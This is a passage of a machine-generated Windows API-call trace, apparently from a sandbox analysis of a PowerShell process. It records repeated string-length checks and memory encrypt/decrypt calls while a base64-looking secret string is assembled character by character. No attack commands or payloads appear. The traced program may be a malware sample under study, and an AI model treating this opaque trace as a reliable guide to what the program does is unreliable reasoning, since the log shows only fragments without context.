0x30 [0133.171] SystemFunction041 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0133.171] SysStringLen (param_1="Ec1FwtLR+PGq1bTLAOgglqY2NFGwV2bkcK2u9rdMfPc뙹躜௲잟") returned 0x30 [0133.171] SystemFunction040 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0133.171] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x4466\xa6bf\x5175\x3643\x9abb\xdc3a\x4ac4\x4314\xea76\x9ae\x62aa\x3701\xc70\x9f10\x4f52\xe1a0\x252e\xd89\x2b5b\xf49a\x9a14\x1a6a\x51b4\x6b61\xd9b9\x3cb2\x9f3c\xb77f\x4a5c\x1f67\xae41\xf74c\x92ed\x4d5e\x33e9\xa42a\x7845\x7459\x3b97\xd33a") returned 0x30 [0133.171] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x4466\xa6bf\x5175\x3643\x9abb\xdc3a\x4ac4\x4314\xea76\x9ae\x62aa\x3701\xc70\x9f10\x4f52\xe1a0\x252e\xd89\x2b5b\xf49a\x9a14\x1a6a\x51b4\x6b61\xd9b9\x3cb2\x9f3c\xb77f\x4a5c\x1f67\xae41\xf74c\x92ed\x4d5e\x33e9\xa42a\x7845\x7459\x3b97\xd33a") returned 0x30 [0133.171] SystemFunction041 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0133.172] SysStringLen (param_1="Ec1FwtLR+PGq1bTLAOgglqY2NFGwV2bkcK2u9rdMfPc=躜௲잟") returned 0x30 [0133.172] SystemFunction040 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0133.172] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.172] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.172] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.172] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0133.172] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.172] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.172] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.173] SysStringLen (param_1="") returned 0x8 [0133.173] SysStringLen (param_1="Y") returned 0x8 [0133.173] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.173] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.173] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.173] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.173] SysStringLen (param_1="YW") returned 0x8 [0133.173] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.173] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.173] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.173] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.173] SysStringLen (param_1="YWM") returned 0x8 [0133.173] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.173] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.173] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.173] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.173] SysStringLen (param_1="YWM1") returned 0x8 [0133.174] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.174] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.174] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.174] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.174] SysStringLen (param_1="YWM1O") returned 0x8 [0133.174] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.174] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.174] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.174] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.174] SysStringLen (param_1="YWM1OT") returned 0x8 [0133.174] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.174] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.174] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.174] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.174] SysStringLen (param_1="YWM1OTE") returned 0x8 [0133.174] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.174] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.175] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.175] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.175] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0133.175] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.175] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.175] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.175] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.175] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0133.175] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.175] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0133.175] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.175] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.175] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.175] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.175] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0133.175] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.175] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.175] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.175] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.176] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0133.176] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.176] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.176] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.176] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.176] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0133.176] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.176] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.176] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.176] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.176] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0133.176] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.176] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.176] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.176] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.176] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0133.177] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.177] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.177] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.177] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.177] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0133.177] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.177] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.177] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.177] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.180] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0133.180] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.180] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.180] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.180] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.180] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0133.181] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.181] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0133.181] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.181] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.181] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.181] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.181] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0133.181] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.181] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.181] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.181] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.181] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0133.181] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.181] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.181] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.181] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.181] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0133.181] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.182] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.182] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.182] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.182] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0133.182] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.182] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.182] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.182] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.182] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0133.182] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.182] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.182] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.182] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.182] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0133.182] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.182] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.182] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.183] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.183] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0133.183] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0133.183] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.183] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0133.183] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.183] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.183] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0133.183] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.184] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.184] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.184] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0133.184] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.184] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.184] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.184] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.184] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0133.184] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.184] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.184] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.184] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.184] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0133.184] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: 